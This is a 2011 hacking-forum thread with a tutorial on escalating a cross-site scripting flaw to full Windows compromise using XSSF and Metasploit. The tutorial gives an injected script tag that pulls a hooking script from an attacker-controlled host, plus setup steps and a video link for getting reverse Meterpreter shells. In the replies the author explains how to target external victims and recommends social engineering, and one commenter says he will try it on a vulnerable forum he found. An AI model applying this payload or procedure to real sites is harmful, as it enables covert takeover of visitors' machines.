+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: [TUT] XSS to FULL OS Comprimise using XSSF+Metasploit [TUT] (/showthread.php?tid=1853635)
[TUT] XSS to FULL OS Comprimise using XSSF+Metasploit [TUT] - Hooded Robin - Oct 24, 2011
OK, so today I will show you how we can leverage a common XSS vulnerability and take it up a notch, yes that is right, a notch higher than we did previously with XSS Shell & XSS Tunnel. This time we will be using our common XSS to result in full OS compromise. Now I have seen a lot of tutorials involving Metasploit but most of them involve attacking XP with no Security updates which just doesn’t seem fair (or impressive). My kid brother could take care of that....so I decided to show you it is possible with little effort to compromise an up to date system running Windows 7 OS with Internet Explorer 8 for browser. This way you know I am being serious when I say this is a valid exploit and a noteworthy reason to double check your user input validation scheme(s). Please follow along, and I hope you enjoy the ride...
OK so you have found XSS vulnerability and you saved it and found it is persistent XSS injection that will affect all users who view the injected page. Even if it is not persistent you can use Social Engineering to get the same effect (i.e. high traffic to exploited page/link), be creative…I am sure you can convince someone to click a link somehow 🤭 We will then use this to work with XSSF and Metasploit to take it up a notch. Where we previously used our injection to point our victims to an alert box, or as shown in previous write-up we could point to the XSS Shell we were hosting, but instead this time we will now be injecting the path to out XSSF + Metasploit setup. XSSF works in the same manner as XSS Shell BUT the primary difference is it is coded in ruby and you can incorporate it directly into the Metasploit framework which allows us to extend our exploits to all of the wonderful Browser Exploits that are already built into MSF (let’s be honest XSS Shell is nice but limited in scope). Now we can take a common XSS alert box and turn it into a Reverse Meterpreter Shell resulting in full OS compromise. I bet you didn't see that coming!
In order to get XSSF incorporated into MSF you need to follow a few quick steps:
- Download XSSF from here: XSSF-HOMEPAGE
- You also need to have an up to date working version of Metasploit already installed (I will not cover this and make assumption you can figure it out on your own). If you do not already have it installed you can download the latest release from here (free version is just fine): METASPLOIT-HOMEPAGE
- The latest version will help us to avoid any DB issues or any issues with your ruby installs being outdated ;)
OK, now fire up Metasploit however you like, from the console or via Armitage. I will be using Armitage for the purposes of today's article since it helps keep things easy. Once you’re connected to your DB of choice and MSF is up and running we will want to do two things:
- First - unzip the XSSF download into the MSF folder on your machine.
- Secondly - run your choice method of opening MSF
- Armitage or ./msfconsole
- Third - type this at MSF console: load xssf
You should now be greeted with the message banner for XSSF indicating that all went well. I had zero problems making it this far so if you have problems check your paths to make sure you unzipped everything properly and to the right locations. Once we have XSSF incorporated into Metasploit it is time to start tweaking our XSS Vulnerabilities and Injections to now point towards this setup. The default will run on localhost:8888 (use xssf_urls command to see full list generated at startup), and then you will need to inject some form of this XSS attack vector in order to get your victims to be sent to our XSSF Metasploit link:
Code
“><script src=”http://yoursite.com:8888/loop?interval=3"></script>NOTE: You can change the value following interval= to suite your needs as it will affect the browser refresh rate. I suggest playing with it and find what works for you, probably best between 2 & 5 (5 is default and works fine in my opinion).
Once this is injected instead of sending an alert box to our victims who view the page they will go on as if nothing happened while secretly they become our Zombies. Once we have zombies we can feed them to an XSS Tunnel session which works as outlined in my previous tutorial on XSS Shell and XSS Tunnel but now you can use the XSS Tunnel address that XSSF has created instead of fumbling with setting up XSS Shell and connecting with XSS Tunnel, just point your tools at localhost:8889 and let them rip. That is fun and can be convenient for leveraging other modules like the CSRF one but you can also now leverage Metasploit to perform further Browser attacks against our Zombies and spawn Meterpreter shells all over the place!
Please watch this video for the full details on how to perform full OS Comprimise:
NO-SOUND version: http://www.youtube.com/watch?v=jwirABFe1Ok
I am pretty sure you can get all the commands from the video as I filmed everything as I walked through it so should cover everything you would need to get situated for the first time and on your way. If you have questions please let me know and I will do what I can to help you figure things out. Please post your comments and let me know what you think!
Shouts to Zer0Lulz Crew:
//#- Zer0Pwn -#//, ~!White!~, Dr. Hobo, Hysteria™, Pi, and Greyerstring
Other XSS Related Tutorials, all compliments of Zer0Lulz Crew:
- XSS 101: XSS 101
- XSS Filter Bypassing: XSS Filter Bypassing
- XSS Shell & XSS Tunnel: XSS Shell & XSS Tunnel
- XSS Quick Tips & Tricks: XSS Tips & Tricks
- XSS Challenges: Keep an eye out for user Pi to occasionally offer up a good challenge for fun and Lulz (please read the rules though before you spam the thread though).
🎉 Enjoy! 🤝
* - michiekiero - Oct 31, 2011
nice tutorial mate :)
i want to try this soon. bookmark :D
* - noober1001 - Oct 31, 2011
Thanks for sharing this.
I will definitely try this.
* - TinyWing - Oct 31, 2011
This is one of the best tuts. Thank you.
* - cheatson - Nov 1, 2011
Really impressed with Zer0Lulz pushing the envelope on XSS- quality crew! Tight tutorial Hooded Robbin!
* - Hooded Robin - Nov 1, 2011
Thanks guys, glad you like it! It took much longer to put the videos together than it did to actually learn how to use the XSSF framework, so I encourage others to really give it a try. If anyone has questions please feel free to ask.
* - skatetopia - Nov 1, 2011
Is this for LAN only?
[T00SH0RT...]
* - Hooded Robin - Nov 2, 2011
NO, this can easily be adapted to attack external parties using an external IP address. XSSF automatically will set things up so it can be served up against external IP address, although some port forwarding on your LAN router may be required for this to properly work. If you want to cofnirm what links are available to send potential victims just issue the "xssf_urls" command once it is loaded to see the full list. I used LAN example for video as it was easier to setup for tutorial purposes. You can also tweak the browser exploits so they dont require user interaction, again I just chose one I knew would work for tutorial purposes.
* - bluebknight - Nov 2, 2011
(Nov 2, 2011 06:54 AM)Hooded Robin Wrote: NO, this can easily be adapted to attack external parties using an external IP address. XSSF automatically will set things up so it can be served up against external IP address, although some port forwarding on your LAN router may be required for this to properly work. If you want to cofnirm what links are available to send potential victims just issue the "xssf_urls" command once it is loaded to see the full list. I used LAN example for video as it was easier to setup for tutorial purposes. You can also tweak the browser exploits so they dont require user interaction, again I just chose one I knew would work for tutorial purposes.
People should also try the IP-passthrough mode on their router to make it work for sure.
And, this should get a loot more views. Especially, to the skeptics who think XSS is useless.
P.S. The java drive-by can be loaded directly using an XSS/iframe without the need of XSSF. It's the browser exploits when XSSF comes handy.
You should also look into BeEF and make a few tutorials. It's awesome.
* - lulzcat - Nov 2, 2011
(Nov 2, 2011 07:03 AM)bluebknight Wrote: People should also try the IP-passthrough mode on their router to make it work for sure.
And, this should get a loot more views. Especially, to the skeptics who think XSS is useless.
P.S. The java drive-by can be loaded directly using an XSS/iframe without the need of XSSF. It's the browser exploits when XSSF comes handy.
You should also look into BeEF and make a few tutorials. It's awesome.
Non-persistant is useless... Unless your spread pro. No one said Persistent XSS sploits are useless -.-
EDIT: Nice tut btw man, Quality stuff. :)
* - Hooded Robin - Nov 2, 2011
This can entirely be done with non-persistent OR persistent XSS finds, once someone visits link - game-over (doesnt matter how they got there). Persistent finds just make it easier to stealth it. Spreading a link is purely up to SE skills, and people in general are dumb and clueless. You can send a link out that clearly says: DO NOT CLICK to 100 people and I bet you would still get 20% success rate. If you use some targeted approaches you only need to pwn 1 key individual (admin) to get the keys to the castle, which is why i wrote this - to emhpasize both are equally as deadly :)
* - Stenography - Nov 2, 2011
Looks very interesting..
Going to try it out..
* - lulzcat - Nov 2, 2011
(Nov 2, 2011 07:19 AM)Hooded Robin Wrote: This can entirely be done with non-persistent OR persistent XSS finds, once someone visits link - game-over (doesnt matter how they got there). Persistent finds just make it easier to stealth it. Spreading a link is purely up to SE skills, and people in general are dumb and clueless. You can send a link out that clearly says: DO NOT CLICK to 100 people and I bet you would still get 20% success rate. If you use some targeted approaches you only need to pwn 1 key individual (admin) to get the keys to the castle, which is why i wrote this - to emhpasize both are equally as deadly :)
I know it can be done with non-persistant. But honetly who has the time nor the mental focus to spread a page instance? I mean if you can fool people than great, Go for it. I just don't have the patience for it lulz.
* - No - Nov 2, 2011
This is an excellent tutorial and I hope it helps people realize that XSS can be serious.
* - Delete Me - Nov 6, 2011
This is nice man! I didn't know XSS could be this usefull. I just found a big forum vulnerable to XSS.
Definitely going to try this out...right know! And checking your other tuts.
Thanks!